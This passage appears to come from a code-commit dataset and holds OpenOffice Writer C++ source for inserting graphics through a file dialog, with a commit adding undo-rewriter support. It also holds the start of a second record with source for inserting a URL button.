IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _DOCARY_HXX\n#include <docary.hxx>\n#endif\n#ifndef _GRFSH_HXX\n#include <grfsh.hxx>\n#endif\n#ifndef _WRTSH_HXX\n#include <wrtsh.hxx>\n#endif\n#ifndef _VIEW_HXX\n#include <view.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _DOCARY_HXX\n#include <docary.hxx>\n#endif\n#ifndef _TEXTSH_HXX\n#include <textsh.hxx>\n#endif\n#ifndef _VIEWOPT_HXX\n#include <viewopt.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _SHELLS_HRC\n#include <shells.hrc>\n#endif\n#ifndef _CAPTION_HXX\n#include <caption.hxx>\n#endif\n#define _SVSTDARR_STRINGSSORTDTOR\n#include <svtools\/svstdarr.hxx>\n#ifndef _FILTER_HXX\n#include <svtools\/filter.hxx>\n#endif\n#ifndef _SVX_IMPGRF_HXX\n#include <svx\/impgrf.hxx>\n#endif\n#ifndef _SVX_HTMLMODE_HXX \/\/autogen\n#include <svx\/htmlmode.hxx>\n#endif\n#ifndef _DOCSH_HXX\n#include <docsh.hxx>\n#endif\n#ifndef _FRMFMT_HXX\n#include <frmfmt.hxx>\n#endif\n#ifndef _FRMMGR_HXX\n#include <frmmgr.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SWSTYLENAMEMAPPER_HXX\n#include <SwStyleNameMapper.hxx>\n#endif\n\n#ifndef _FILEDLGHELPER_HXX\n#include <sfx2\/filedlghelper.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_XFILEPICKERCONTROLACCESS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/XFilePickerControlAccess.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_EXTENDEDFILEPICKERELEMENTIDS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/ExtendedFilePickerElementIds.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_LISTBOXCONTROLACTIONS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/ListboxControlActions.hpp>\n#endif\n#ifndef _POOLFMT_HRC\n#include <poolfmt.hrc>\n#endif\n\n#include <sfx2\/request.hxx>\n#include <svtools\/stritem.hxx>\n\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::ui::dialogs;\nusing namespace ::sfx2;\nusing namespace ::rtl;\n\nBOOL SwTextShell::InsertGraphicDlg( SfxRequest& rReq )\n{\n#ifndef ENABLE_PROP_WITHOUTLINK\n#define ENABLE_PROP_WITHOUTLINK 0x08\n#endif\n\n BOOL bReturn = FALSE;\n SwView &rVw = GetView();\n SwDocShell* pDocShell = rVw.GetDocShell();\n USHORT nHtmlMode = ::GetHtmlMode(pDocShell);\n \/\/ im HTML-Mode nur verknuepft einfuegen\n FileDialogHelper* pFileDlg = new FileDialogHelper( SFXWB_GRAPHIC | SFXWB_SHOWSTYLES );\n pFileDlg->SetTitle(SW_RESSTR(STR_INSERT_GRAPHIC ));\n pFileDlg->SetContext( FileDialogHelper::SW_INSERT_GRAPHIC );\n Reference < XFilePicker > xFP = pFileDlg->GetFilePicker();\n Reference < XFilePickerControlAccess > xCtrlAcc(xFP, UNO_QUERY);\n if(nHtmlMode & HTMLMODE_ON)\n {\n sal_Bool bTrue = sal_True;\n Any aVal(&bTrue, ::getBooleanCppuType());\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0, aVal);\n xCtrlAcc->enableControl( ExtendedFilePickerElementIds::CHECKBOX_LINK, sal_False);\n }\n\n SvStringsSortDtor aFormats;\n SwDoc* pDoc = pDocShell->GetDoc();\n const USHORT nArrLen = pDoc->GetFrmFmts()->Count();\n USHORT i;\n for( i = 0; i < nArrLen; i++ )\n {\n SwFrmFmt* pFmt = (*pDoc->GetFrmFmts())[ i ];\n if(pFmt->IsDefault() || pFmt->IsAuto())\n continue;\n String *pFormat = new String(pFmt->GetName());\n aFormats.Insert(pFormat);\n }\n\n \/\/ pool formats\n \/\/\n const SvStringsDtor& rFrmPoolArr = SwStyleNameMapper::GetFrmFmtUINameArray();\n for( i = 0; i < rFrmPoolArr.Count(); i++ )\n {\n String *pFormat = new String(*rFrmPoolArr[i]);\n if (!aFormats.Insert(pFormat))\n delete pFormat;\n }\n\n Sequence<OUString> aListBoxEntries(aFormats.Count());\n OUString* pEntries = aListBoxEntries.getArray();\n sal_Int16 nSelect = 0;\n String sGraphicFormat = SW_RESSTR(STR_POOLFRM_GRAPHIC);\n for(i = 0; i < aFormats.Count(); ++i)\n {\n pEntries[i] = *aFormats[i];\n if(pEntries[i].equals(sGraphicFormat))\n nSelect = i;\n }\n try\n {\n Any aTemplates(&aListBoxEntries, ::getCppuType(&aListBoxEntries));\n\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::ADD_ITEMS , aTemplates );\n\n Any aSelectPos(&nSelect, ::getCppuType(&nSelect));\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::SET_SELECT_ITEM, aSelectPos );\n }\n catch(Exception& )\n {\n DBG_ERROR(\"control acces failed\")\n }\n\n SFX_REQUEST_ARG( rReq, pName, SfxStringItem, SID_INSERT_GRAPHIC , sal_False );\n BOOL bShowError = !pName;\n if( pName || ERRCODE_NONE == pFileDlg->Execute() )\n {\n\n String aFileName, aFilterName;\n if ( pName )\n {\n aFileName = pName->GetValue();\n SFX_REQUEST_ARG( rReq, pFilter, SfxStringItem, FN_PARAM_FILTER , sal_False );\n if ( pFilter )\n aFilterName = pFilter->GetValue();\n }\n else\n {\n aFileName = pFileDlg->GetPath();\n aFilterName = pFileDlg->GetCurrentFilter();\n rReq.AppendItem( SfxStringItem( SID_INSERT_GRAPHIC, aFileName ) );\n rReq.AppendItem( SfxStringItem( FN_PARAM_FILTER, aFilterName ) );\n\n sal_Bool bAsLink;\n if(nHtmlMode & HTMLMODE_ON)\n bAsLink = sal_True;\n else\n {\n try\n {\n Any aVal = xCtrlAcc->getValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0);\n DBG_ASSERT(aVal.hasValue(), \"Value CBX_INSERT_AS_LINK not found\")\n bAsLink = aVal.hasValue() ? *(sal_Bool*) aVal.getValue() : sal_True;\n Any aTemplateValue = xCtrlAcc->getValue(\n ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::GET_SELECTED_ITEM );\n OUString sTmpl;\n aTemplateValue >>= sTmpl;\n rReq.AppendItem( SfxStringItem( FN_PARAM_2, sTmpl) );\n }\n catch(Exception& )\n {\n DBG_ERROR(\"control acces failed\")\n }\n }\n rReq.AppendItem( SfxBoolItem( FN_PARAM_1, bAsLink ) );\n }\n\n SFX_REQUEST_ARG( rReq, pAsLink, SfxBoolItem, FN_PARAM_1 , sal_False );\n SFX_REQUEST_ARG( rReq, pStyle, SfxStringItem, FN_PARAM_2 , sal_False );\n\n sal_Bool bAsLink;\n if( nHtmlMode & HTMLMODE_ON )\n bAsLink = sal_True;\n else\n {\n if ( rReq.GetArgs() )\n {\n if ( pAsLink )\n bAsLink = pAsLink->GetValue();\n if ( pStyle )\n sGraphicFormat = pStyle->GetValue();\n }\n else\n {\n Any aVal = xCtrlAcc->getValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0);\n DBG_ASSERT(aVal.hasValue(), \"Value CBX_INSERT_AS_LINK not found\")\n bAsLink = aVal.hasValue() ? *(sal_Bool*) aVal.getValue() : sal_True;\n Any aTemplateValue = xCtrlAcc->getValue(\n ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::GET_SELECTED_ITEM );\n OUString sTmpl;\n aTemplateValue >>= sTmpl;\n sGraphicFormat = sTmpl;\n if ( sGraphicFormat.Len() )\n rReq.AppendItem( SfxStringItem( FN_PARAM_2, sGraphicFormat ) );\n rReq.AppendItem( SfxBoolItem( FN_PARAM_1, bAsLink ) );\n }\n }\n\n SwWrtShell& rSh = GetShell();\n rSh.StartAction();\n rSh.StartUndo(UNDO_INSERT);\n\n USHORT nError = InsertGraphic( aFileName, aFilterName, bAsLink, ::GetGrfFilter() );\n\n \/\/ Format ist ungleich Current Filter, jetzt mit auto. detection\n if( nError == GRFILTER_FORMATERROR )\n nError = InsertGraphic( aFileName, aEmptyStr, bAsLink, ::GetGrfFilter() );\n if ( rSh.IsFrmSelected() )\n {\n SwFrmFmt* pFmt = pDoc->FindFrmFmtByName( sGraphicFormat );\n if(!pFmt)\n pFmt = pDoc->MakeFrmFmt(sGraphicFormat, 0);\n rSh.SetFrmFmt( pFmt );\n }\n\n RESOURCE_TYPE nResId = 0;\n switch( nError )\n {\n case GRFILTER_OPENERROR:\n nResId = STR_GRFILTER_OPENERROR;\n break;\n case GRFILTER_IOERROR:\n nResId = STR_GRFILTER_IOERROR;\n break;\n case GRFILTER_FORMATERROR:\n nResId = STR_GRFILTER_FORMATERROR;\n break;\n case GRFILTER_VERSIONERROR:\n nResId = STR_GRFILTER_VERSIONERROR;\n break;\n case GRFILTER_FILTERERROR:\n nResId = STR_GRFILTER_FILTERERROR;\n break;\n case GRFILTER_TOOBIG:\n nResId = STR_GRFILTER_TOOBIG;\n break;\n }\n\n rSh.EndAction();\n if( nResId )\n {\n if( bShowError )\n {\n InfoBox aInfoBox( rVw.GetWindow(), SW_RESSTR( nResId ));\n aInfoBox.Execute();\n }\n rReq.Ignore();\n }\n else\n {\n \/\/ set the specific graphic attrbutes to the graphic\n bReturn = TRUE;\n rVw.AutoCaption( GRAPHIC_CAP );\n rReq.Done();\n }\n\n rSh.EndUndo(UNDO_INSERT); \/\/ wegen moegl. Shellwechsel\n }\n\n DELETEZ( pFrmMgr );\n delete pFileDlg;\n\n return bReturn;\n}\n\n\n<commit_msg>INTEGRATION: CWS swundo01 (1.8.126); FILE MERGED 2003\/09\/23 13:28:52 hbrinkm 1.8.126.2: RESYNC: (1.8-1.9); FILE MERGED 2003\/09\/23 12:38:11 hbrinkm 1.8.126.1: #111827#<commit_after>\/*************************************************************************\n *\n * $RCSfile: grfshex.cxx,v $\n *\n * $Revision: 1.10 $\n *\n * last change: $Author: kz $ $Date: 2004-05-18 14:12:31 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _DOCARY_HXX\n#include <docary.hxx>\n#endif\n#ifndef _GRFSH_HXX\n#include <grfsh.hxx>\n#endif\n#ifndef _WRTSH_HXX\n#include <wrtsh.hxx>\n#endif\n#ifndef _VIEW_HXX\n#include <view.hxx>\n#endif\n#ifndef _DOC_HXX\n#include <doc.hxx>\n#endif\n#ifndef _DOCARY_HXX\n#include <docary.hxx>\n#endif\n#ifndef _TEXTSH_HXX\n#include <textsh.hxx>\n#endif\n#ifndef _VIEWOPT_HXX\n#include <viewopt.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _SHELLS_HRC\n#include <shells.hrc>\n#endif\n#ifndef _CAPTION_HXX\n#include <caption.hxx>\n#endif\n#define _SVSTDARR_STRINGSSORTDTOR\n#include <svtools\/svstdarr.hxx>\n#ifndef _FILTER_HXX\n#include <svtools\/filter.hxx>\n#endif\n#ifndef _SVX_IMPGRF_HXX\n#include <svx\/impgrf.hxx>\n#endif\n#ifndef _SVX_HTMLMODE_HXX \/\/autogen\n#include <svx\/htmlmode.hxx>\n#endif\n#ifndef _DOCSH_HXX\n#include <docsh.hxx>\n#endif\n#ifndef _FRMFMT_HXX\n#include <frmfmt.hxx>\n#endif\n#ifndef _FRMMGR_HXX\n#include <frmmgr.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SWSTYLENAMEMAPPER_HXX\n#include <SwStyleNameMapper.hxx>\n#endif\n\n#ifndef _FILEDLGHELPER_HXX\n#include <sfx2\/filedlghelper.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_XFILEPICKERCONTROLACCESS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/XFilePickerControlAccess.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_EXTENDEDFILEPICKERELEMENTIDS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/ExtendedFilePickerElementIds.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UI_DIALOGS_LISTBOXCONTROLACTIONS_HPP_\n#include <com\/sun\/star\/ui\/dialogs\/ListboxControlActions.hpp>\n#endif\n#ifndef _POOLFMT_HRC\n#include <poolfmt.hrc>\n#endif\n\n#include <sfx2\/request.hxx>\n#include <svtools\/stritem.hxx>\n\n\/\/ -> #111827#\n#include <SwRewriter.hxx>\n#include <undobj.hxx>\n#include <comcore.hrc>\n\/\/ <- #111827#\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::ui::dialogs;\nusing namespace ::sfx2;\nusing namespace ::rtl;\n\nBOOL SwTextShell::InsertGraphicDlg( SfxRequest& rReq )\n{\n#ifndef ENABLE_PROP_WITHOUTLINK\n#define ENABLE_PROP_WITHOUTLINK 0x08\n#endif\n\n BOOL bReturn = FALSE;\n SwView &rVw = GetView();\n SwDocShell* pDocShell = rVw.GetDocShell();\n USHORT nHtmlMode = ::GetHtmlMode(pDocShell);\n \/\/ im HTML-Mode nur verknuepft einfuegen\n FileDialogHelper* pFileDlg = new FileDialogHelper( SFXWB_GRAPHIC | SFXWB_SHOWSTYLES );\n pFileDlg->SetTitle(SW_RESSTR(STR_INSERT_GRAPHIC ));\n pFileDlg->SetContext( FileDialogHelper::SW_INSERT_GRAPHIC );\n Reference < XFilePicker > xFP = pFileDlg->GetFilePicker();\n Reference < XFilePickerControlAccess > xCtrlAcc(xFP, UNO_QUERY);\n if(nHtmlMode & HTMLMODE_ON)\n {\n sal_Bool bTrue = sal_True;\n Any aVal(&bTrue, ::getBooleanCppuType());\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0, aVal);\n xCtrlAcc->enableControl( ExtendedFilePickerElementIds::CHECKBOX_LINK, sal_False);\n }\n\n SvStringsSortDtor aFormats;\n SwDoc* pDoc = pDocShell->GetDoc();\n const USHORT nArrLen = pDoc->GetFrmFmts()->Count();\n USHORT i;\n for( i = 0; i < nArrLen; i++ )\n {\n SwFrmFmt* pFmt = (*pDoc->GetFrmFmts())[ i ];\n if(pFmt->IsDefault() || pFmt->IsAuto())\n continue;\n String *pFormat = new String(pFmt->GetName());\n aFormats.Insert(pFormat);\n }\n\n \/\/ pool formats\n \/\/\n const SvStringsDtor& rFrmPoolArr = SwStyleNameMapper::GetFrmFmtUINameArray();\n for( i = 0; i < rFrmPoolArr.Count(); i++ )\n {\n String *pFormat = new String(*rFrmPoolArr[i]);\n if (!aFormats.Insert(pFormat))\n delete pFormat;\n }\n\n Sequence<OUString> aListBoxEntries(aFormats.Count());\n OUString* pEntries = aListBoxEntries.getArray();\n sal_Int16 nSelect = 0;\n String sGraphicFormat = SW_RESSTR(STR_POOLFRM_GRAPHIC);\n for(i = 0; i < aFormats.Count(); ++i)\n {\n pEntries[i] = *aFormats[i];\n if(pEntries[i].equals(sGraphicFormat))\n nSelect = i;\n }\n try\n {\n Any aTemplates(&aListBoxEntries, ::getCppuType(&aListBoxEntries));\n\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::ADD_ITEMS , aTemplates );\n\n Any aSelectPos(&nSelect, ::getCppuType(&nSelect));\n xCtrlAcc->setValue( ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::SET_SELECT_ITEM, aSelectPos );\n }\n catch(Exception& )\n {\n DBG_ERROR(\"control acces failed\")\n }\n\n SFX_REQUEST_ARG( rReq, pName, SfxStringItem, SID_INSERT_GRAPHIC , sal_False );\n BOOL bShowError = !pName;\n if( pName || ERRCODE_NONE == pFileDlg->Execute() )\n {\n\n String aFileName, aFilterName;\n if ( pName )\n {\n aFileName = pName->GetValue();\n SFX_REQUEST_ARG( rReq, pFilter, SfxStringItem, FN_PARAM_FILTER , sal_False );\n if ( pFilter )\n aFilterName = pFilter->GetValue();\n }\n else\n {\n aFileName = pFileDlg->GetPath();\n aFilterName = pFileDlg->GetCurrentFilter();\n rReq.AppendItem( SfxStringItem( SID_INSERT_GRAPHIC, aFileName ) );\n rReq.AppendItem( SfxStringItem( FN_PARAM_FILTER, aFilterName ) );\n\n sal_Bool bAsLink;\n if(nHtmlMode & HTMLMODE_ON)\n bAsLink = sal_True;\n else\n {\n try\n {\n Any aVal = xCtrlAcc->getValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0);\n DBG_ASSERT(aVal.hasValue(), \"Value CBX_INSERT_AS_LINK not found\")\n bAsLink = aVal.hasValue() ? *(sal_Bool*) aVal.getValue() : sal_True;\n Any aTemplateValue = xCtrlAcc->getValue(\n ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::GET_SELECTED_ITEM );\n OUString sTmpl;\n aTemplateValue >>= sTmpl;\n rReq.AppendItem( SfxStringItem( FN_PARAM_2, sTmpl) );\n }\n catch(Exception& )\n {\n DBG_ERROR(\"control acces failed\")\n }\n }\n rReq.AppendItem( SfxBoolItem( FN_PARAM_1, bAsLink ) );\n }\n\n SFX_REQUEST_ARG( rReq, pAsLink, SfxBoolItem, FN_PARAM_1 , sal_False );\n SFX_REQUEST_ARG( rReq, pStyle, SfxStringItem, FN_PARAM_2 , sal_False );\n\n sal_Bool bAsLink;\n if( nHtmlMode & HTMLMODE_ON )\n bAsLink = sal_True;\n else\n {\n if ( rReq.GetArgs() )\n {\n if ( pAsLink )\n bAsLink = pAsLink->GetValue();\n if ( pStyle )\n sGraphicFormat = pStyle->GetValue();\n }\n else\n {\n Any aVal = xCtrlAcc->getValue( ExtendedFilePickerElementIds::CHECKBOX_LINK, 0);\n DBG_ASSERT(aVal.hasValue(), \"Value CBX_INSERT_AS_LINK not found\")\n bAsLink = aVal.hasValue() ? *(sal_Bool*) aVal.getValue() : sal_True;\n Any aTemplateValue = xCtrlAcc->getValue(\n ExtendedFilePickerElementIds::LISTBOX_IMAGE_TEMPLATE,\n ListboxControlActions::GET_SELECTED_ITEM );\n OUString sTmpl;\n aTemplateValue >>= sTmpl;\n sGraphicFormat = sTmpl;\n if ( sGraphicFormat.Len() )\n rReq.AppendItem( SfxStringItem( FN_PARAM_2, sGraphicFormat ) );\n rReq.AppendItem( SfxBoolItem( FN_PARAM_1, bAsLink ) );\n }\n }\n\n SwWrtShell& rSh = GetShell();\n rSh.StartAction();\n\n \/\/\/ #111827#\n SwRewriter aRewriter;\n aRewriter.AddRule(UNDO_ARG1, String(SW_RES(STR_GRAPHIC_DEFNAME)));\n\n rSh.StartUndo(UNDO_INSERT, &aRewriter);\n\n USHORT nError = InsertGraphic( aFileName, aFilterName, bAsLink, ::GetGrfFilter() );\n\n \/\/ Format ist ungleich Current Filter, jetzt mit auto. detection\n if( nError == GRFILTER_FORMATERROR )\n nError = InsertGraphic( aFileName, aEmptyStr, bAsLink, ::GetGrfFilter() );\n if ( rSh.IsFrmSelected() )\n {\n SwFrmFmt* pFmt = pDoc->FindFrmFmtByName( sGraphicFormat );\n if(!pFmt)\n pFmt = pDoc->MakeFrmFmt(sGraphicFormat, 0);\n rSh.SetFrmFmt( pFmt );\n }\n\n RESOURCE_TYPE nResId = 0;\n switch( nError )\n {\n case GRFILTER_OPENERROR:\n nResId = STR_GRFILTER_OPENERROR;\n break;\n case GRFILTER_IOERROR:\n nResId = STR_GRFILTER_IOERROR;\n break;\n case GRFILTER_FORMATERROR:\n nResId = STR_GRFILTER_FORMATERROR;\n break;\n case GRFILTER_VERSIONERROR:\n nResId = STR_GRFILTER_VERSIONERROR;\n break;\n case GRFILTER_FILTERERROR:\n nResId = STR_GRFILTER_FILTERERROR;\n break;\n case GRFILTER_TOOBIG:\n nResId = STR_GRFILTER_TOOBIG;\n break;\n }\n\n rSh.EndAction();\n if( nResId )\n {\n if( bShowError )\n {\n InfoBox aInfoBox( rVw.GetWindow(), SW_RESSTR( nResId ));\n aInfoBox.Execute();\n }\n rReq.Ignore();\n }\n else\n {\n \/\/ set the specific graphic attrbutes to the graphic\n bReturn = TRUE;\n rVw.AutoCaption( GRAPHIC_CAP );\n rReq.Done();\n }\n\n rSh.EndUndo(UNDO_INSERT); \/\/ wegen moegl. Shellwechsel\n }\n\n DELETEZ( pFrmMgr );\n delete pFileDlg;\n\n return bReturn;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: textdrw.cxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: hr $ $Date: 2003-03-27 15:44:22 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef PRECOMPILED\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n#ifndef _SVDVIEW_HXX \/\/autogen\n#include <svx\/svdview.hxx>\n#endif\n#ifndef _URLOBJ_HXX \/\/autogen\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _SVX_FMGLOB_HXX\n#include <svx\/fmglob.hxx>\n#endif\n#ifndef _SVDOUNO_HXX \/\/autogen\n#include <svx\/svdouno.hxx>\n#endif\n#ifndef _COM_SUN_STAR_FORM_FORMBUTTONTYPE_HPP_\n#include <com\/sun\/star\/form\/FormButtonType.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n\n#ifndef _VIEW_HXX\n#include <view.hxx>\n#endif\n#ifndef _WRTSH_HXX\n#include <wrtsh.hxx>\n#endif\n#ifndef _EDTWIN_HXX\n#include <edtwin.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _BASESH_HXX\n#include <basesh.hxx>\n#endif\n\n#ifndef _POOLFMT_HRC\n#include <poolfmt.hrc>\n#endif\n\n#ifndef _SV_SOUND_HXX\n#include <vcl\/sound.hxx>\n#endif\n\n#define C2U(cChar) rtl::OUString::createFromAscii(cChar)\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\n\/*---------------------------------------------------------------------------\n Beschreibung:\n ----------------------------------------------------------------------------*\/\n\nvoid SwBaseShell::InsertURLButton(const String& rURL, const String& rTarget, const String& rTxt)\n{\n SwWrtShell& rSh = GetShell();\n\n if (!rSh.HasDrawView())\n rSh.MakeDrawView();\n SdrView *pSdrView = rSh.GetDrawView();\n\n \/\/ OBJ_FM_BUTTON\n pSdrView->SetDesignMode(TRUE);\n pSdrView->SetCurrentObj(OBJ_FM_BUTTON);\n pSdrView->SetEditMode(sal_False);\n\n Point aStartPos(rSh.GetCharRect().Pos() + Point(0, 1));\n\n rSh.StartAction();\n rSh.StartUndo( UIUNDO_INSERT_URLBTN );\n if (rSh.BeginCreate(OBJ_FM_BUTTON, FmFormInventor, aStartPos))\n {\n pSdrView->SetOrtho(sal_False);\n Size aSz(GetView().GetEditWin().PixelToLogic(Size(140, 20)));\n Point aEndPos(aSz.Width(), aSz.Height());\n\n rSh.MoveCreate(aStartPos + aEndPos);\n rSh.EndCreate(SDRCREATE_FORCEEND);\n\n const SdrMarkList& rMarkList = pSdrView->GetMarkList();\n if (rMarkList.GetMark(0))\n {\n SdrUnoObj* pUnoCtrl = PTR_CAST(SdrUnoObj, rMarkList.GetMark(0)->GetObj());\n uno::Reference< awt::XControlModel > xControlModel = pUnoCtrl->GetUnoControlModel();\n\n ASSERT( xControlModel.is(), \"UNO-Control ohne Model\" );\n if( !xControlModel.is() )\n return;\n\n uno::Reference< beans::XPropertySet > xPropSet(xControlModel, uno::UNO_QUERY);\n\n\n uno::Any aTmp;\n\n aTmp <<= OUString(rTxt);\n xPropSet->setPropertyValue( C2U(\"Label\"), aTmp );\n\n aTmp <<= OUString(INetURLObject::RelToAbs(rURL));\n xPropSet->setPropertyValue( C2U(\"TargetURL\"), aTmp );\n\n if( rTarget.Len() )\n {\n aTmp <<= OUString(rTarget);\n xPropSet->setPropertyValue( C2U(\"TargetFrame\"), aTmp );\n }\n\n\n form::FormButtonType eButtonType = form::FormButtonType_URL;\n aTmp.setValue( &eButtonType, ::getCppuType((const form::FormButtonType*)0));\n xPropSet->setPropertyValue( C2U(\"ButtonType\"), aTmp );\n\n if ( Sound::IsSoundFile( rURL ) )\n {\n \/\/ #105638# OJ\n aTmp <<= sal_True;\n xPropSet->setPropertyValue( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"DispatchURLInternal\" )), aTmp );\n }\n }\n\n if (rSh.IsObjSelected())\n {\n\/\/ rSh.ChgAnchor(FLY_AT_CNTNT);\n rSh.UnSelectFrm();\n }\n }\n rSh.EndUndo( UIUNDO_INSERT_URLBTN );\n rSh.EndAction();\n}\n\n\n<commit_msg>INTEGRATION: CWS os8 (1.4.2.1.86); FILE MERGED 2003\/04\/03 07:15:06 os 1.4.2.1.86.1: #108583# precompiled headers removed<commit_after>\/*************************************************************************\n *\n * $RCSfile: textdrw.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: vg $ $Date: 2003-04-17 15:43:30 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * 